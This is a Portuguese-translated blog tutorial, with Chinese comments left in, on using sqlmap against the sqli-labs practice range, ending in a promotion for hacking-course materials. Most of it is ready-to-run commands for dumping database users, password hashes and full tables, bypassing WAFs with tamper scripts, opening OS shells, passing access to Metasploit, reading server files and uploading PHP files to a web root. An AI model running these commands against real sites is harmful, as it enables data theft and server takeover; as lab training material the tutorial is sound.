Uso da ferramenta SqlMap (super detalhado - uma leitura obrigatória para o pessoal de segurança de rede (hackers de chapéu branco)!!!)

[Uso da ferramenta]SqlMap
    • SqlMap
      • Comandos comuns
      • Detecte se há injeção no site de destino
      • Consultar usuários do banco de dados
      • Consultar senhas de banco de dados
      • Consultar o usuário atual do banco de dados
      • Consulte se o usuário atual do banco de dados tem direitos de administrador
      • Liste os nomes de usuário do administrador do banco de dados
      • Consultar todos os bancos de dados
      • Consultar o banco de dados atual
      • Produza todas as tabelas sob o nome de banco de dados especificado
      • Produza todas as colunas da tabela especificada com o nome de dados especificado
      • Produza todos os dados no campo especificado na coluna especificada do banco de dados especificado
      • -todas as séries
    • Uso avançado
      • Ignorar WAF
      • -nível/-risco
      • Cabeçalho de referência HTTP forjado
      • Execute a instrução SQL especificada
      • Execute comandos do sistema operacional
      • Ler arquivo do servidor
      • Carregar arquivos para o servidor de banco de dados

Este artigo usa exemplos: campo de tiro sqli-labs

SqlMap

Uma ferramenta automatizada de injeção de SQL cuja principal função é verificar, descobrir e explorar vulnerabilidades de injeção de SQL em uma determinada URL. Os bancos de dados atualmente suportados são MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase e SAP MaxDB. Cinco técnicas exclusivas de injeção de SQL são usadas, a saber:

1. Injeção cega baseada em booleano, ou seja, injeção que pode determinar se a condição é verdadeira ou falsa com base na página retornada.
2. Injeção cega baseada em tempo, ou seja, nenhuma informação pode ser julgada com base no conteúdo de retorno da página, e instruções condicionais são usadas para verificar se a instrução de atraso de tempo é executada (ou seja, se o tempo de retorno da página aumenta).
3. Baseado na injeção de erro, ou seja, a página retornará informações de erro, ou o resultado da instrução injetada será retornado diretamente para a página.
4. Injeção de consulta de união, você pode usar injeção no caso de união.
5. Injeção de consulta heap, que pode executar a injeção de várias instruções ao mesmo tempo.

Comandos comuns
sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
  
sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell   #知道网站的账号密码直接连接
 
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段
 
--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

Detecte se há injeção no site de destino

1. Sites que não exigem login

sqlmap -u  "http://127.0.0.1/sqli-labs/Less-1/?id=1"  #探测该url是否存在漏洞

Podemos ver que o sqlmap interage conosco. Você precisa escolher diferentes métodos de digitalização de acordo com as dicas da ferramenta.
Insira a descrição da imagem aqui

O sqlmap nos informará o tipo de injeção, linguagem e versão do script, tipo e versão do banco de dados, middleware e outras informações relacionadas que existem no site de destino.
Insira a descrição da imagem aqui
Ao final da varredura seremos informados do caminho de armazenamento dos dados de detecção
2. O site que precisa estar logado

sqlmap -u  "http://127.0.0.1/sqli-labs/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞

3. O URL que exige que o Post envie dados

sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入

Consultar usuários do banco de dados
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users

Insira a descrição da imagem aqui

Consultar senhas de banco de dados
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords

Quando executamos a senha, haverá duas interações entre o sqlmap e nós.
A primeira: perguntando se devemos salvar o valor hash Y/N.
A segunda: perguntando se devemos explodir o valor hash Y/N/Q.
A terceira: Perguntando se queremos usar um sufixo de senha universal? S/N
Insira a descrição da imagem aqui

Consultar o usuário atual do banco de dados
sqlmap -u "http://127.0.0.1/sqli-lasb/Less-1/?id=1" --current-user  #查看数据库当前的用户

Insira a descrição da imagem aqui

Consulte se o usuário atual do banco de dados tem direitos de administrador
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba  #判断当前用户是否有管理员权限

Insira a descrição da imagem aqui

Liste os nomes de usuário do administrador do banco de dados
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles

Insira a descrição da imagem aqui

Consultar todos os bancos de dados
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs

Insira a descrição da imagem aqui

Consultar o banco de dados atual
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db

Insira a descrição da imagem aqui

Produza todas as tabelas sob o nome de banco de dados especificado
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables

Insira a descrição da imagem aqui

Produza todas as colunas da tabela especificada com o nome de dados especificado
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns

Insira a descrição da imagem aqui

Produza todos os dados no campo especificado na coluna especificada do banco de dados especificado
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C password --dump

Insira a descrição da imagem aqui

-todas as séries

1. Produza todos os dados do banco de dados

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all

O tempo é muito longo. Faça uma captura de tela do processo de digitalização:
Insira a descrição da imagem aqui

2. Produza todos os dados no banco de dados especificado

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all

O tempo é muito longo. Faça uma captura de tela do processo de digitalização:
Insira a descrição da imagem aqui

3. Produza todos os dados na tabela especificada do banco de dados especificado

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T user --dump-all

O tempo é muito longo. Faça uma captura de tela do processo de digitalização:
Insira a descrição da imagem aqui

Uso avançado

Ignorar WAF

Princípio: Basta usar –tamper para modificar os parâmetros para ignorar o WAF. A maioria dos scripts fornecidos oficialmente usa módulos regulares para substituir a codificação de caracteres da carga útil do ataque para ignorar as regras de detecção do WAF.

Instruções comumente usadas:

--identify-waf   检测是否有WAF
 
#使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入


O sqlmap preparou um script para ignorarmos o waf. O uso na pasta tamper da pasta sqlmap é o seguinte:

使用方法--tamper xxx.py
apostrophemask.py用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

-nível/-risco

O Sqlmap possui um total de 5 níveis de detecção, o padrão é 1. Quanto mais alto o nível, mais cargas úteis são usadas durante a detecção. Entre eles, o nível 5 tem o maior número de cargas úteis e irá quebrar e injetar automaticamente cabeçalhos como cookies e XFF. Obviamente, quanto maior o nível, mais lento será o tempo de detecção. Este parâmetro afetará o ponto de injeção do teste. Os dados GET e POST serão testados. O cookie HTTP será testado quando o nível for 2. O cabeçalho HTTP User-Agent/Referer será testado quando o nível for 3. Quando não tiver certeza de qual parâmetro é o ponto de injeção, para garantir a precisão, é recomendado definir o nível para 5.

O Sqlmap tem um total de 3 níveis de perigo, o que significa quantos níveis de perigo você acha que este site tem. Tem o mesmo significado que o nível de detecção. Em caso de incerteza, recomenda-se configurá-lo para o nível 3, –risk=3.

A ferramenta usa o diretório de carga útil
sqlmap\data\xml\payloads (windows)

Cabeçalho de referência HTTP forjado

sqlmap pode forjar o referenciador no cabeçalho da solicitação http na solicitação. Quando -level for maior ou igual a 3, a injeção do referenciador será executada.
Por exemplo: referer http://www.topreverse.cn

Execute a instrução SQL especificada
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell  #执行指定的sql语句

Insira a descrição da imagem aqui

Execute comandos do sistema operacional

Ele pode ser executado se e somente se o banco de dados for mysql, postgresql ou sql server.
Quando o banco de dados é mysql, três condições precisam ser atendidas:
1. Permissões de root
2. Já saber o caminho absoluto do site de destino
3. O valor do parâmetro de secure_file_priv é espaço-tempo (é NULL antes da modificação)

sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell  #执行--os-shell命令

Insira a descrição da imagem aquiDurante o processo, o sqlmap passará dois arquivos para o caminho especificado, tmpblwkd.php (arquivo cavalo de Tróia) e tmpueqch.php. Digite q e x ao sair para excluir o arquivo recebido.

Ler arquivo do servidor

Pré-requisito: O banco de dados é: mysql, postgresql e sql server

sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/topreverse.txt" #读取目标服务器C盘下的test.txt文件

Carregar arquivos para o servidor de banco de dados

Pré-requisito: o banco de dados é mysql, postgre sql, sql server

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 --file-write C:\Users\system32\Desktop\text.php --file-dest "C:\phpStudy\PHPTutorial\WWW\test.php"  #将本地的text.php文件上传到目标服务器test.php

Após o upload do próprio sqlmap, ele será verificado e o tamanho do arquivo será lido para comparação.

O texto acima é um pouco do meu compartilhamento sobre sqlmap. Espero que seja útil para você. Por fim, acredito que todos os amigos aqui estão interessados ​​no setor de segurança de rede. O país está atualmente apoiando vigorosamente esse setor e ainda há um enorme lacuna de talentos., se você é um novato que está na fase de entrada na indústria, mas ainda não sabe qual conteúdo precisa dominar, como irmão mais velho na indústria, também preparei um roteiro de aprendizagem completo para você Siga este caminho para aprender do básico ao avançado. Encontrar um estágio é totalmente suficiente!
Insira a descrição da imagem aqui

Por fim, também compilei os materiais de vídeo que acompanham o percurso de aprendizagem.
Insira a descrição da imagem aqui
Insira a descrição da imagem aqui
Insira a descrição da imagem aqui
Insira a descrição da imagem aqui

Carreguei as informações acima no site oficial da CSDN. Se precisar, pode me deixar uma mensagem. Responderei depois de ver. Se não puder esperar pela minha resposta, você também pode escanear o QR código abaixo com vx (lembre-se de anotar o propósito de sua visita ~), se você encontrar problemas com a leitura do código QR, você também pode clicar no link para receber [282G] um aprendizado completo do zero básico ao avançado em segurança de rede e tecnologia de hacking, grátis para compartilhar!
Insira a descrição da imagem aqui

O texto acima é todo o conteúdo deste artigo, espero que você possa ganhar alguma coisa!

Acho que você gosta

Origin blog.csdn.net/text2207/article/details/133377906
Recomendado
Clasificación